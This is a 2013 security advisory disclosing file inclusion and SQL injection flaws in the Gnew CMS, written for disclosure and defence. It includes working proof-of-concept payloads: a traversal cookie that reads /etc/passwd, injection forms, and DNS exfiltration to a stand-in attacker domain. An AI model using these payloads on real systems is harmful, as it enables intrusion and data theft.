Advisory ID: HTB23171
Product: Gnew
Vendor: Raoul Proen=C3=A7a
Vulnerable Version(s): 2013.1 and probably prior
Tested Version: 2013.1
Advisory Publication: August 28, 2013 [without technical details]
Vendor Notification: August 28, 2013=20
Public Disclosure: October 2, 2013=20
Vulnerability Type: PHP File Inclusion [CWE-98], SQL Injection [CWE-89]
CVE References: CVE-2013-5639, CVE-2013-5640
Risk Level: High=20
CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 7.5 (AV:N/AC:L/Au:N/C=
:P/I:P/A:P)
Solution Status: Solution Available
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities =
in Gnew, which can be exploited to execute arbitrary PHP code and pefrom SQ=
L injection attacks against vulnerable application.=20
1) PHP File Inclusion in Gnew: CVE-2013-5639
Vulnerability exists due to insufficient validation of user-supplied input =
passed via the "gnew_language" cookie to "/users/login.php" script before u=
sing it in "include()" function. A remote attacker can include and execute =
arbitrary local files on a vulnerable system via directory traversal sequen=
ce and URL-encoded NULL byte.
The following exploitation example below displays content of the "/etc/pass=
wd" file:
GET /users/login.php HTTP/1.1
Cookie: gnew_language=3D../../../etc/passwd%00;
2) SQL Injection in Gnew: CVE-2013-5640
2.1 The vulnerability exists due to insufficient filtration of "friend_emai=
l" HTTP POST parameter passed to "/news/send.php" script. A remote unauthen=
ticated attacker can execute arbitrary SQL commands in application's databa=
se.
The following exploitation example sends MySQL server version and database =
username to email address "attacker@mail.com":
<form action=3D"http://[host]/news/send.php" method=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"send" value=3D"1">
<input type=3D"hidden" name=3D"user_name" value=3D"username">
<input type=3D"hidden" name=3D"user_email" value=3D"user@mail.com">
<input type=3D"hidden" name=3D"friend_email" value=3D"attacker@mail.com">
<input type=3D"hidden" name=3D"news_id" value=3D"-1' UNION SELECT version(=
),user() -- ">
<input type=3D"submit" id=3D"btn">
</form>
2.2 The vulnerability exists due to insufficient filtration of "user_email"=
HTTP POST parameter passed to "/users/register.php" script. A remote unaut=
henticated attacker can execute arbitrary SQL commands in application's dat=
abase.
The exploitation example below outputs database username and MySQL server v=
ersion into file "/var/www/file.txt". Successful exploitation requires that=
MySQL server has write access to the "/var/www" directory.=20
<form action=3D"http://[host]/users/register.php" method=3D"post" name=3D"m=
ain">
<input type=3D"hidden" name=3D"register" value=3D"1">
<input type=3D"hidden" name=3D"user_email" value=3D"' UNION SELECT user(),=
version() INTO OUTFILE '/var/www/file.txt' -- 2">
<input type=3D"submit" id=3D"btn">
</form>
2.3 The vulnerability exists due to insufficient filtration of "answer_id" =
HTTP POST parameter passed to "/polls/vote.php" script. A remote authentica=
ted attacker can execute arbitrary SQL commands in application's database=
=2E
The PoC code below is based on DNS Exfiltration technique and may be used i=
f the database of the vulnerable application is hosted on a Windows system=
=2E The PoC will send a DNS request demanding IP addess for `version()` (or=
any other sensetive output from the database) subdomain of ".attacker.com"=
(a domain name, DNS server of which is controlled by the attacker):
<form action=3D"http://[host]/polls/vote.php" method=3D"post" name=3D"main"=
>
<input type=3D"hidden" name=3D"add_vote" value=3D"1">
<input type=3D"hidden" name=3D"answer_id" value=3D"' AND 1=3D(select load_=
file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116=
),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(9=
9),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR=
(97),CHAR(114)))) -- ">
<input type=3D"hidden" name=3D"question_id" value=3D"1">
<input type=3D"submit" id=3D"btn">
</form>
2.4 The vulnerability exists due to insufficient filtration of "question_id=
" HTTP POST parameter passed to "/polls/vote.php" script. A remote authenti=
cated attacker can execute arbitrary SQL commands in application's database=
=2E
The PoC code below is based on DNS Exfiltration technique and may be used i=
f the database of the vulnerable application is hosted on a Windows system=
=2E The PoC will send a DNS request demanding IP addess for `version()` (or=
any other sensetive output from the database) subdomain of ".attacker.com"=
(a domain name, DNS server of which is controlled by the attacker):
<form action=3D"http://[host]/polls/vote.php" method=3D"post" name=3D"main"=
>
<input type=3D"hidden" name=3D"add_vote" value=3D"1">
<input type=3D"hidden" name=3D"answer_id" value=3D"1">
<input type=3D"hidden" name=3D"question_id" value=3D"' AND 1=3D(select loa=
d_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(1=
16),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR=
(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CH=
AR(97),CHAR(114)))) -- ">
<input type=3D"submit" id=3D"btn">
</form>
2.5 The vulnerability exists due to insufficient filtration of "story_id" H=
TTP POST parameter passed to "/comments/add.php" script. A remote authentic=
ated attacker can execute arbitrary SQL commands in application's database=
=2E
The PoC code below is based on DNS Exfiltration technique and may be used i=
f the database of the vulnerable application is hosted on a Windows system=
=2E The PoC will send a DNS request demanding IP addess for `version()` (or=
any other sensetive output from the database) subdomain of ".attacker.com"=
(a domain name, DNS server of which is controlled by the attacker):
<form action=3D"http://[host]/comments/add.php" method=3D"post" name=3D"mai=
n">
<input type=3D"hidden" name=3D"add" value=3D"1">
<input type=3D"hidden" name=3D"preview" value=3D"1">
<input type=3D"hidden" name=3D"comment_subject" value=3D"1">
<input type=3D"hidden" name=3D"comment_text" value=3D"1">
<input type=3D"hidden" name=3D"story_id" value=3D"' AND 1=3D(select load_f=
ile(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116)=
,CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99=
),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(=
97),CHAR(114)))) -- ">
<input type=3D"submit" id=3D"btn">
</form>
2.6 The vulnerability exists due to insufficient filtration of "story_id" H=
TTP POST parameter passed to "/comments/edit.php" script. A remote authenti=
cated attacker can execute arbitrary SQL commands in application's database=
=2E
The PoC code below is based on DNS Exfiltration technique and may be used i=
f the database of the vulnerable application is hosted on a Windows system=
=2E The PoC will send a DNS request demanding IP addess for `version()` (or=
any other sensetive output from the database) subdomain of ".attacker.com"=
(a domain name, DNS server of which is controlled by the attacker):
<form action=3D"http://[host]/comments/edit.php" method=3D"post" name=3D"ma=
in">
<input type=3D"hidden" name=3D"edit" value=3D"1">
<input type=3D"hidden" name=3D"preview_edited" value=3D"1">
<input type=3D"hidden" name=3D"comment_subject" value=3D"1">
<input type=3D"hidden" name=3D"comment_text" value=3D"1">
<input type=3D"hidden" name=3D"story_id" value=3D"' AND 1=3D(select load_f=
ile(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116)=
,CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99=
),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(=
97),CHAR(114)))) -- ">
<input type=3D"submit" id=3D"btn">
</form>
2.7 The vulnerability exists due to insufficient filtration of "thread_id" =
HTTP POST parameter passed to "/posts/add.php" script. A remote authenticat=
ed attacker can execute arbitrary SQL commands in application's database.
The PoC code below is based on DNS Exfiltration technique and may be used i=
f the database of the vulnerable application is hosted on a Windows system=
=2E The PoC will send a DNS request demanding IP addess for `version()` (or=
any other sensetive output from the database) subdomain of ".attacker.com"=
(a domain name, DNS server of which is controlled by the attacker):
<form action=3D"http://[host]/posts/add.php" method=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"add" value=3D"1">
<input type=3D"hidden" name=3D"preview" value=3D"1">
<input type=3D"hidden" name=3D"thread_id" value=3D"' AND 1=3D(select load_=
file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116=
),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(9=
9),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR=
(97),CHAR(114)))) -- ">
<input type=3D"submit" id=3D"btn">
</form>
2.8 The vulnerability exists due to insufficient filtration of "thread_id" =
HTTP POST parameter passed to "/posts/edit.php" script. A remote authentica=
ted attacker can execute arbitrary SQL commands in application's database=
=2E
The PoC code below is based on DNS Exfiltration technique and may be used i=
f the database of the vulnerable application is hosted on a Windows system=
=2E The PoC will send a DNS request demanding IP addess for `version()` (or=
any other sensetive output from the database) subdomain of ".attacker.com"=
(a domain name, DNS server of which is controlled by the attacker):
<form action=3D"http://[host]/posts/edit.php" method=3D"post" name=3D"main"=
>
<input type=3D"hidden" name=3D"edit" value=3D"1">
<input type=3D"hidden" name=3D"preview_edited" value=3D"1">
<input type=3D"hidden" name=3D"thread_id" value=3D"' AND 1=3D(select load_=
file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116=
),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(9=
9),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR=
(97),CHAR(114)))) -- ">
<input type=3D"submit" id=3D"btn">
</form>
Successful exploitation of vulnerabilities 2.3-2.8 requires that attacker i=
s registered and logged-in. Registration is opened by default.
Vulnerabilities 2.1, 2.2 and 2.8 were discovered by Gjoko Krstic: http://pa=
cketstormsecurity.com/files/122771 on July 23, 2013. High-Tech Bridge Resea=
rch Lab has discovered these vulnerabilities independently and publishes th=
em as since the Vendor notification date they remain unpatched.
---------------------------------------------------------------------------=
--------------------
Solution:
Vendor did not reply to 6 notifications by email. Currently we are not awar=
e of any official solution for these vulnerabilities.
Unofficial patch was developed by High-Tech Bridge Security Research Lab an=
d is available here: https://www.htbridge.com/advisory/HTB23171-patch.zip
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23171 - https://www.htbridge.com/advisory/=
HTB23171 - Multiple vulnerabilities in Gnew.
[2] Gnew - http://www.gnew.fr - Gnew is a simple and open-source Content Ma=
nagement System.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.
[5] ImmuniWeb=C2=AE - http://www.htbridge.com/immuniweb/ - is High-Tech Bri=
dge's proprietary web application security assessment solution with SaaS de=
livery model that combines manual and automated vulnerability testing.
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.